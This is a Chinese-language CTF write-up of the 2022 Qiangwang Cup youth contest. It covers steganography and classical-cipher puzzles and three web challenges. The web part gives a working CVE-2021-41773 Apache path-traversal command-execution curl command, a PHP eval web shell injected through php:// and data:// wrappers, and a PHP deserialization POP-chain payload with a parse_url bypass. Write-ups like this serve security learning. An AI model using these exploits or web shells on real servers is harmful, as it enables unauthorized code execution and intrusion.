2022强网杯青少年赛 write-up

by nebula

misc

misc1

下载附件得到一个 png。直接打开提示错误,用 010 Editor 打开发现里面全部为可见字符,疑似 base64。base64 解密后得到的文件用 010 Editor 打开发现文件头是 50 89 47 4E,与 png 标准文件头 89 50 4E 47 很像,因此猜测调换所有的奇偶位。写脚本调换后可以看到一张图片。
此部分 payload 如下:

1
2
3
4
5
6
7
8
9
import base64

f = open('chuyinweilai.png').read()
data = base64.b64decode(f)
assert len(data) % 2 == 0
exchanged = b''
for i in range(0, len(data), 2):
exchanged += bytes([data[i + 1], data[i]])
open('1-result.png', 'wb').write(exchanged)

得到的图片:

用 Stegsolve 1.3 打开图片,发现 RGB-0 Plane 疑似存在隐写信息,但是杂乱无章,结合图片中的信息,猜测是有秘钥的 LSB 隐写。百度“音乐的财富密码”得到 4536251,使用 cloacked-pixel 库即可解得 flag。
此部分 Payload:

1
python3 lsb.py extract 1-result.png 2-result.txt 4536251

flag: flag{5cc0aa21208b517dbd0bde650247237f}

misc3

首先将文件后缀名改成 .jpg(打开 010 Editor 发现 JFIF)
题目中提到“最简单的隐写方式”,因此直接搬出 010 Editor, 果然发现了 Extra Chunk。将 Extra Chunk 导出,保存为 .zip 文件,提示打不开(文件末尾有额外信息),发现信息末尾有一串 7his_1s_p4s5w0rd。因此去掉该字符串后,再打开 zip 文件,获得第二张 png。对第二张 png 使用 cloacked-pixel 库解密易得 flag,秘钥为 7his_1s_p4s5w0rd
此部分 Payload:

1
python3 lsb.py extract 1-secret.png 2-result.txt 7his_1s_p4s5w0rd

flag: flag{2e55f884-ef01-4654-87b1-cc3111800085}

crypto

crypto1

Misc1

在多次尝试后,最终发现将A视作 -,B视作 .,并进行莫斯电码解码可以得到英文文本。(利用CyberChef网站进行)

image-20220910170045534

假设英文文本为简单单表代换加密,使用 quipquip 词频分析,成功得到flag

image-20220910170235652

flag: flag{1d817f23-4e20-9405-bf6d-e83d055316d6}

crypto2

能在题目所给字符串的第 1, 3, 5, 7 位找到 F, L, A, G,因此猜测是栅栏密码。又盲猜 [ 代表 {, ] 代表 },因此写脚本暴力枚举得到一层解密结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
info = 'FvLFArGp[ovpxBpsssD]qCElwwoClsoColwpuvlqFv'

def fence_decode(s, z):
mapp = []
for i in range(z):
for j in range(i, len(s), z):
mapp.append(j)
result = '.' * len(s)
for i, x in enumerate(mapp):
result = result[:x] + s[i] + result[x+1:]
return result

for i in range(1, len(info)):
result = fence_decode(info, i)
if result.startswith('FLAG[') and result.endswith(']'):
print(f'Decode success: fence = {i}, result = {result}')
mid_answer = result

此部分运行结果:

1
Decode success: fence = 32, result = FLAG[vxpsDqCElwwoClsoColwpuvlqFvvFrpopBss]

由于一般的 flag 开头为小写字母,且这里用了 [] 而不是 {},所以大胆猜测使用了类似 rot47 的加密。直接 rot47 解密发现不正确,猜测是自定义 offset 的解密。使用字符集:string.printable 中所有除了 '\t\n\r\v\f' 的字符(注意:包括空格在内),写脚本枚举可得到最终 flag。此部分 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
printable = ''
for i in range(128):
if chr(i) in string.printable and chr(i) not in '\t\n\r\v\f':
printable += chr(i)

def my_rot(s, dif):
return ''.join([
printable[(printable.index(ch) + dif) % len(printable)]
for ch in s
])

for i in range(len(printable)):
maybe_answer = my_rot(mid_answer, i)
if maybe_answer.startswith('flag{') and maybe_answer.endswith('}'):
print(f'rot-{i}: {maybe_answer}')

此部分运行结果:

1
rot-32: flag{7914d2ce-880c-40c0-8167-2f77f3101b44}

web

web1

签到题。百度 CVE-2021-41773 可以得到 exp:

1
curl 'http://{ip}:{port}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;{command}'

替换 {ip}, {port} 为题目下发的容器对应的值,并替换 {command}cat /flag 可以得到 flag

1
flag{628fe8bf-f252-4a23-b0a4-bc892488faaa}

web2

php 伪协议题。在 index.php 页面发现注释,二次 base64 解密得到 cream.php,访问可以得到要打的洞。
经过一些尝试可以发现,cream.php 没有任何的写入权限;但考虑到 fputs 不可能没有用,因此想到使用 php 伪协议,即 php://temp 存放临时数据。
通过这个,我们可以在 content 里面填入内容,即得到了任意代码执行权限。
为了绕过正则匹配,可以再次使用伪协议:使用 data://text/plain;base64, 协议可以使正则匹配失效,我们只需要将 payload base64 编码后填在末尾即可。
使用 payload: <?php eval($_POST['cmd']); ?>
并使用中国蚁剑链接(密码:cmd),进入虚拟终端,使用 cat /flag 即可获得 flag

1
flag{75c3f578-8739-4242-9bbc-06262cfd7f7d}

web3

php 反序列化题,pop 链。dirsearch 发现源码泄露(www.zip
查看 demo.php 容易分析得到一条 pop 链:Sliver -> Range(__toString) -> Water(__get) -> Circle(__invoke) -> Circle(runc)
所以写一段简单的 php 脚本执行序列化可以得到 exp:

1
O:6:"Sliver":2:{s:6:"secret";O:5:"Range":2:{s:5:"horis";N;s:4:"link";O:5:"Water":1:{s:9:"waterfall";O:6:"Circle":2:{s:6:"daemon";N;s:7:"\00*\00dash";s:{length}:"{command}";}}}s:5:"resty";N;}

其中 {length} 与 {command} 需要自己填入。
接着考虑绕过正则匹配。百度搜索 parse_url 可以发现绕过技巧,只需要在访问时增加几个斜杠即可。即:访问

1
http://<容器链接>///demo.php

将参数编码填入得到

1
http://<容器链接>///demo.php?data=O%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3BN%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A20%3A%22eval%28%24_POST%5B%22cmd%22%5D%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D

使用中国蚁剑链接(密码:cmd),进入虚拟终端,使用 cat /flag 即可获得 flag

1
flag{883f2e8a-a461-4326-8810-b5bd6b26c6b6}